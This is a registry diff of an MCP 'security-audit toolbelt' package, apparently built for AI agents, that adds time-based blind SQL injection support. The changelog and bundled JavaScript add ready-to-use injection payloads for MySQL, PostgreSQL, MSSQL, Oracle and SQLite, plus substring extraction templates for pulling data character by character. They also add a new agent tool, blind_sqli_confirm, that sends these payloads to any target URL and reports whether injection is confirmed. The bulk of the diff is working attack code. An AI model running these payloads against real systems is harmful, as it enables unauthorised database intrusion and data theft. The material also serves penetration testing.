blitzstrike 2.4.150 → 2.4.152
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/CHANGELOG.md +25 -0
- package/dist/index.js +114 -11
- package/package.json +1 -1
package/CHANGELOG.md
CHANGED
|
@@ -5,6 +5,31 @@ All notable changes to Blitz Strike are documented here.
|
|
|
5
5
|
The format follows [Keep a Changelog](https://keepachangelog.com/en/1.0.0/),
|
|
6
6
|
and this project adheres to [Semantic Versioning](https://semver.org/).
|
|
7
7
|
|
|
8
|
+
## [2.4.152] — 2026-10-11
|
|
9
|
+
|
|
10
|
+
### Added — autonomous blind SQLi confirmation (blind_sqli_confirm)
|
|
11
|
+
|
|
12
|
+
- New `blind_sqli_confirm` tool + `confirmBlindSqli()`: turns blind_oracle's
|
|
13
|
+
"SQL context" hint into "blind SQLi CONFIRMED" — sends the boolean oracle
|
|
14
|
+
(TRUE vs FALSE byte-count differential) and time oracle (TRUE-branch sleep vs
|
|
15
|
+
FALSE-branch instant) with payloads taken from the blind_sqli playbook (not
|
|
16
|
+
hand-written), and returns a deterministic verdict + evidence string.
|
|
17
|
+
166 tools, 548/548 tests.
|
|
18
|
+
|
|
19
|
+
## [2.4.151] — 2026-10-11
|
|
20
|
+
|
|
21
|
+
### Added — time-based blind SQLi (per-DBMS, detection + extraction)
|
|
22
|
+
|
|
23
|
+
- `blind_sqli` now returns a correct per-DBMS time oracle + `time_fn`: SLEEP(sec)
|
|
24
|
+
(mysql), pg_sleep(sec) (postgresql), WAITFOR DELAY (mssql, stacked ;IF),
|
|
25
|
+
dbms_pipe.receive_message (oracle, a function — not the dbms_lock.sleep procedure),
|
|
26
|
+
randomblob (sqlite). Fixed the previous MySQL-only IF() syntax that leaked into
|
|
27
|
+
the mssql/oracle extraction templates.
|
|
28
|
+
- `blind_oracle` gained a `time` sink + `time_dbms` option: after arithmetic probes
|
|
29
|
+
flag SQL context, the time probes (TRUE/FALSE delay branch) confirm a blind SQLi
|
|
30
|
+
via a >2s timing differential when the boolean body is identical.
|
|
31
|
+
547/547 tests.
|
|
32
|
+
|
|
8
33
|
## [2.4.150] — 2026-10-11
|
|
9
34
|
|
|
10
35
|
### Fixed — func-paren-split WAF bypass (MySQL 8.0 correctness)
|
package/dist/index.js
CHANGED
|
@@ -59962,13 +59962,41 @@ function listWafBypassDbms() {
|
|
|
59962
59962
|
// src/blind-sqli.ts
|
|
59963
59963
|
var WAF_BYPASS = WAF_BYPASS_FLAT;
|
|
59964
59964
|
function oracleConfirm(dbms) {
|
|
59965
|
-
const time =
|
|
59965
|
+
const time = {
|
|
59966
|
+
mysql: {
|
|
59967
|
+
true_: `' AND IF(1=1,SLEEP(5),0)-- -`,
|
|
59968
|
+
false_: `' AND IF(1=2,SLEEP(5),0)-- -`,
|
|
59969
|
+
fn: "SLEEP(sec)"
|
|
59970
|
+
},
|
|
59971
|
+
postgresql: {
|
|
59972
|
+
true_: `' OR (SELECT 1 FROM pg_sleep(5)) IS NOT NULL--`,
|
|
59973
|
+
false_: `' OR (SELECT 1 FROM pg_sleep(0)) IS NOT NULL--`,
|
|
59974
|
+
fn: "pg_sleep(sec)"
|
|
59975
|
+
},
|
|
59976
|
+
mssql: {
|
|
59977
|
+
true_: `'; IF (1=1) WAITFOR DELAY '0:0:5'--`,
|
|
59978
|
+
false_: `'; IF (1=2) WAITFOR DELAY '0:0:5'--`,
|
|
59979
|
+
fn: "WAITFOR DELAY '0:0:sec' (stacked ;IF)"
|
|
59980
|
+
},
|
|
59981
|
+
oracle: {
|
|
59982
|
+
true_: `' OR 1=1 AND dbms_pipe.receive_message('x',5) IS NULL--`,
|
|
59983
|
+
false_: `' OR 1=2 AND dbms_pipe.receive_message('x',5) IS NULL--`,
|
|
59984
|
+
fn: "dbms_pipe.receive_message('x',sec) (needs EXECUTE; dbms_lock.sleep is a procedure)"
|
|
59985
|
+
},
|
|
59986
|
+
sqlite: {
|
|
59987
|
+
true_: `' AND 1=1 AND randomblob(500000000)--`,
|
|
59988
|
+
false_: `' AND 1=2 AND randomblob(500000000)--`,
|
|
59989
|
+
fn: "randomblob(sec*100000000)"
|
|
59990
|
+
}
|
|
59991
|
+
};
|
|
59992
|
+
const t = time[dbms];
|
|
59966
59993
|
return {
|
|
59967
59994
|
boolean_true: `' AND 1=1-- -`,
|
|
59968
59995
|
boolean_false: `' AND 1=2-- -`,
|
|
59969
|
-
time_true:
|
|
59970
|
-
time_false:
|
|
59971
|
-
|
|
59996
|
+
time_true: t.true_,
|
|
59997
|
+
time_false: t.false_,
|
|
59998
|
+
time_fn: t.fn,
|
|
59999
|
+
note: "TRUE vs FALSE differential = byte-count (e.g. TRUE=2814 vs FALSE=0), status code, or timing. A clean oracle is the prerequisite for every extraction below. Use the boolean oracle when the body differs; fall back to the time oracle when the body is IDENTICAL (only timing differs)."
|
|
59972
60000
|
};
|
|
59973
60001
|
}
|
|
59974
60002
|
function playbook(dbms) {
|
|
@@ -60042,7 +60070,7 @@ function playbook(dbms) {
|
|
|
60042
60070
|
oracle: oracleConfirm(dbms),
|
|
60043
60071
|
extraction: {
|
|
60044
60072
|
boolean: `' AND SUBSTRING(({query}),{pos},1)='{char}'--`,
|
|
60045
|
-
time: `'
|
|
60073
|
+
time: `'; IF (SUBSTRING(({query}),{pos},1)='{char}') WAITFOR DELAY '0:0:{sec}'--`,
|
|
60046
60074
|
method: "binary-search the charset. @@version → DB_NAME() → SYSTEM_USER → tables → columns → data."
|
|
60047
60075
|
},
|
|
60048
60076
|
metadata: {
|
|
@@ -60066,7 +60094,7 @@ function playbook(dbms) {
|
|
|
60066
60094
|
oracle: oracleConfirm(dbms),
|
|
60067
60095
|
extraction: {
|
|
60068
60096
|
boolean: `' AND SUBSTR(({query}),{pos},1)='{char}'--`,
|
|
60069
|
-
time: `' AND CASE WHEN SUBSTR(({query}),{pos},1)='{char}' THEN
|
|
60097
|
+
time: `' AND (SELECT CASE WHEN SUBSTR(({query}),{pos},1)='{char}' THEN dbms_pipe.receive_message('a',{sec}) END FROM dual) IS NOT NULL--`,
|
|
60070
60098
|
method: "binary-search the charset. banner → user → tables → columns → data (Oracle has no stacked info_schema; use all_tables/all_tab_columns)."
|
|
60071
60099
|
},
|
|
60072
60100
|
metadata: {
|
|
@@ -62300,6 +62328,15 @@ function sstiProbes(value) {
|
|
|
62300
62328
|
function xssProbe(value, marker) {
|
|
62301
62329
|
return { sink: "xss", name: "marker", payload: `${value}${marker}` };
|
|
62302
62330
|
}
|
|
62331
|
+
function timeProbes(dbms, value) {
|
|
62332
|
+
const p = blindSqli(dbms);
|
|
62333
|
+
if (!p)
|
|
62334
|
+
return [];
|
|
62335
|
+
return [
|
|
62336
|
+
{ sink: "time", name: "time_true", payload: `${value}${p.oracle.time_true}` },
|
|
62337
|
+
{ sink: "time", name: "time_false", payload: `${value}${p.oracle.time_false}` }
|
|
62338
|
+
];
|
|
62339
|
+
}
|
|
62303
62340
|
function classifyBlindProbe(input) {
|
|
62304
62341
|
const same = input.bodyHash === input.baselineHash;
|
|
62305
62342
|
let signal = false;
|
|
@@ -62322,6 +62359,7 @@ function classifyBlindProbe(input) {
|
|
|
62322
62359
|
async function blindOracle(baseUrl, param, value, opts = {}) {
|
|
62323
62360
|
const base = baseUrl.replace(/\/+$/, "");
|
|
62324
62361
|
const sinks = opts.sinks ?? ["sql", "ssti", "xss"];
|
|
62362
|
+
const timeDbms = opts.timeDbms ?? "mysql";
|
|
62325
62363
|
const marker = `zz${Math.random().toString(36).slice(2, 10)}zz`;
|
|
62326
62364
|
const headers = { "User-Agent": "Mozilla/5.0 (blitzstrike oracle probe)" };
|
|
62327
62365
|
const timeoutMs = opts.timeoutMs ?? 8000;
|
|
@@ -62345,6 +62383,8 @@ async function blindOracle(baseUrl, param, value, opts = {}) {
|
|
|
62345
62383
|
probes.push(...sstiProbes(value));
|
|
62346
62384
|
if (sinks.includes("xss"))
|
|
62347
62385
|
probes.push(xssProbe(value, marker));
|
|
62386
|
+
if (sinks.includes("time"))
|
|
62387
|
+
probes.push(...timeProbes(timeDbms, value));
|
|
62348
62388
|
const results = [];
|
|
62349
62389
|
for (const p of probes) {
|
|
62350
62390
|
const t0 = Date.now();
|
|
@@ -62364,6 +62404,16 @@ async function blindOracle(baseUrl, param, value, opts = {}) {
|
|
|
62364
62404
|
body,
|
|
62365
62405
|
marker
|
|
62366
62406
|
});
|
|
62407
|
+
let signal = cls.signal;
|
|
62408
|
+
let reason = cls.reason;
|
|
62409
|
+
if (p.sink === "time") {
|
|
62410
|
+
if (p.name === "time_true" && timing > 2000) {
|
|
62411
|
+
signal = true;
|
|
62412
|
+
reason = "time-based TRUE branch delayed the response (delay primitive fired) — blind SQLi confirmed via timing.";
|
|
62413
|
+
} else if (p.name === "time_false") {
|
|
62414
|
+
reason = timing < 2000 ? "FALSE branch returned instantly — the delay is conditional (clean time oracle)." : "FALSE branch also delayed — timing is not conditional (likely not a time oracle).";
|
|
62415
|
+
}
|
|
62416
|
+
}
|
|
62367
62417
|
results.push({
|
|
62368
62418
|
sink: p.sink,
|
|
62369
62419
|
name: p.name,
|
|
@@ -62373,8 +62423,8 @@ async function blindOracle(baseUrl, param, value, opts = {}) {
|
|
|
62373
62423
|
timing_ms: timing,
|
|
62374
62424
|
body_hash: bodyHash.slice(0, 12),
|
|
62375
62425
|
same_as_baseline: cls.same_as_baseline,
|
|
62376
|
-
signal
|
|
62377
|
-
reason
|
|
62426
|
+
signal,
|
|
62427
|
+
reason
|
|
62378
62428
|
});
|
|
62379
62429
|
} catch {
|
|
62380
62430
|
results.push({ sink: p.sink, name: p.name, payload: p.payload, status: 0, size: 0, timing_ms: 0, body_hash: "", same_as_baseline: false, signal: false, reason: "fetch error/timeout" });
|
|
@@ -62393,6 +62443,46 @@ async function blindOracle(baseUrl, param, value, opts = {}) {
|
|
|
62393
62443
|
interpretation: "A signal means the parameter reaches that sink (evidence: the differential). Verify live before reporting — the oracle is a detection hint, not proof."
|
|
62394
62444
|
};
|
|
62395
62445
|
}
|
|
62446
|
+
async function confirmBlindSqli(baseUrl, param, value, dbms = "mysql") {
|
|
62447
|
+
const base = baseUrl.replace(/\/+$/, "");
|
|
62448
|
+
const p = blindSqli(dbms);
|
|
62449
|
+
if (!p)
|
|
62450
|
+
return { error: `no blind-SQLi playbook for '${dbms}'`, known: ["mysql", "postgresql", "mssql", "oracle", "sqlite"] };
|
|
62451
|
+
const headers = { "User-Agent": "Mozilla/5.0 (blitzstrike confirm)" };
|
|
62452
|
+
const build = (payload) => `${base}?${encodeURIComponent(param)}=${encodeURIComponent(payload)}`;
|
|
62453
|
+
const fetchSize = async (payload) => {
|
|
62454
|
+
try {
|
|
62455
|
+
const r = await fetch(build(payload), { headers, redirect: "manual", signal: AbortSignal.timeout(9000) });
|
|
62456
|
+
const body = await r.text();
|
|
62457
|
+
return { ok: true, status: r.status, size: body.length };
|
|
62458
|
+
} catch (e) {
|
|
62459
|
+
return { ok: false, status: 0, size: 0 };
|
|
62460
|
+
}
|
|
62461
|
+
};
|
|
62462
|
+
const fetchTiming = async (payload) => {
|
|
62463
|
+
const t0 = Date.now();
|
|
62464
|
+
const r = await fetchSize(payload);
|
|
62465
|
+
return { ok: r.ok, size: r.size, ms: Date.now() - t0 };
|
|
62466
|
+
};
|
|
62467
|
+
const bt = await fetchSize(`${value}${p.oracle.boolean_true}`);
|
|
62468
|
+
const bf = await fetchSize(`${value}${p.oracle.boolean_false}`);
|
|
62469
|
+
const boolDiff = bt.ok && bf.ok && bt.size !== bf.size;
|
|
62470
|
+
const tt = await fetchTiming(`${value}${p.oracle.time_true}`);
|
|
62471
|
+
const tf = await fetchTiming(`${value}${p.oracle.time_false}`);
|
|
62472
|
+
const timeDiff = tt.ms > 2000 && tf.ms < 2000;
|
|
62473
|
+
const confirmed = boolDiff || timeDiff;
|
|
62474
|
+
const channel = boolDiff && timeDiff ? "both" : boolDiff ? "boolean" : timeDiff ? "time" : null;
|
|
62475
|
+
return {
|
|
62476
|
+
dbms,
|
|
62477
|
+
param,
|
|
62478
|
+
value,
|
|
62479
|
+
boolean: { true_size: bt.size, false_size: bf.size, differential: boolDiff },
|
|
62480
|
+
time: { true_ms: tt.ms, false_ms: tf.ms, differential: timeDiff },
|
|
62481
|
+
confirmed,
|
|
62482
|
+
channel,
|
|
62483
|
+
evidence: confirmed ? `blind SQLi CONFIRMED via ${channel} differential — ` + (boolDiff ? `boolean TRUE=${bt.size}b vs FALSE=${bf.size}b` : "") + (boolDiff && timeDiff ? "; " : "") + (timeDiff ? `time TRUE≈${tt.ms}ms vs FALSE≈${tf.ms}ms` : "") + "." : "no clean boolean or time differential observed — not confirmed as blind SQLi (could be a WAF, a non-boolean sink, or a false arithmetic hint)."
|
|
62484
|
+
};
|
|
62485
|
+
}
|
|
62396
62486
|
|
|
62397
62487
|
// src/param-precedence.ts
|
|
62398
62488
|
function generatePrecedenceVariants(param, a, b) {
|
|
@@ -65063,16 +65153,29 @@ ${statusLine}` : statusLine },
|
|
|
65063
65153
|
base_url: string2().describe("Target base URL"),
|
|
65064
65154
|
param: string2().describe("Parameter name to probe (e.g. id)"),
|
|
65065
65155
|
value: string2().describe("Baseline value for the parameter (e.g. 1)"),
|
|
65066
|
-
sinks: string2().optional().describe("JSON array of sinks to probe (default ['sql','ssti','xss'])")
|
|
65156
|
+
sinks: string2().optional().describe("JSON array of sinks to probe (default ['sql','ssti','xss']); add 'time' for time-based blind detection (after SQL context is already flagged)"),
|
|
65157
|
+
time_dbms: string2().optional().describe("DBMS for the time-based delay primitive (mysql | postgresql | mssql | oracle | sqlite; default mysql)")
|
|
65067
65158
|
}
|
|
65068
|
-
}, async ({ base_url, param, value, sinks }) => {
|
|
65159
|
+
}, async ({ base_url, param, value, sinks, time_dbms }) => {
|
|
65069
65160
|
let s;
|
|
65070
65161
|
try {
|
|
65071
65162
|
s = sinks ? JSON.parse(sinks) : undefined;
|
|
65072
65163
|
} catch {
|
|
65073
65164
|
return { content: [{ type: "text", text: JSON.stringify({ error: "invalid sinks JSON" }) }] };
|
|
65074
65165
|
}
|
|
65075
|
-
return { content: [{ type: "text", text: JSON.stringify(await blindOracle(base_url, param, value, { sinks: s })) }] };
|
|
65166
|
+
return { content: [{ type: "text", text: JSON.stringify(await blindOracle(base_url, param, value, { sinks: s, timeDbms: time_dbms })) }] };
|
|
65167
|
+
});
|
|
65168
|
+
server.registerTool("blind_sqli_confirm", {
|
|
65169
|
+
title: "Blind SQLi confirmation (autonomous boolean + time oracle)",
|
|
65170
|
+
description: "CONFIRM: turn blindOracle's 'SQL context' HINT into 'blind SQLi CONFIRMED'. Sends the actual boolean oracle (TRUE vs FALSE byte-count differential) and time oracle (TRUE-branch sleep vs FALSE-branch instant) — payloads come from the blind_sqli playbook, NOT hand-written — and returns a deterministic verdict. confirmed=true only when a clean boolean or time differential is observed. Call AFTER blind_oracle flags SQL context.",
|
|
65171
|
+
inputSchema: {
|
|
65172
|
+
base_url: string2().describe("Target base URL"),
|
|
65173
|
+
param: string2().describe("Parameter name to confirm (e.g. id)"),
|
|
65174
|
+
value: string2().describe("Baseline value (e.g. 1)"),
|
|
65175
|
+
dbms: string2().optional().describe("DBMS for the oracle payloads (mysql | postgresql | mssql | oracle | sqlite; default mysql)")
|
|
65176
|
+
}
|
|
65177
|
+
}, async ({ base_url, param, value, dbms }) => {
|
|
65178
|
+
return { content: [{ type: "text", text: JSON.stringify(await confirmBlindSqli(base_url, param, value, dbms ?? "mysql")) }] };
|
|
65076
65179
|
});
|
|
65077
65180
|
server.registerTool("oob_start", {
|
|
65078
65181
|
title: "Out-of-band callback listener (blind SSRF/XXE/SQLi/RCE proof)",
|
package/package.json
CHANGED
|
@@ -1,6 +1,6 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "blitzstrike",
|
|
3
|
-
"version": "2.4.
|
|
3
|
+
"version": "2.4.152",
|
|
4
4
|
"description": "Blitz Strike — a universal MCP security-audit toolbelt. BLITZ sweeps the attack surface, EAGLE-EYE traces source-to-sink, STRIKE verifies live. 57 attack chains, 130-tool catalog, intelligence data layer. One server, every agent.",
|
|
5
5
|
"type": "module",
|
|
6
6
|
"bin": {
|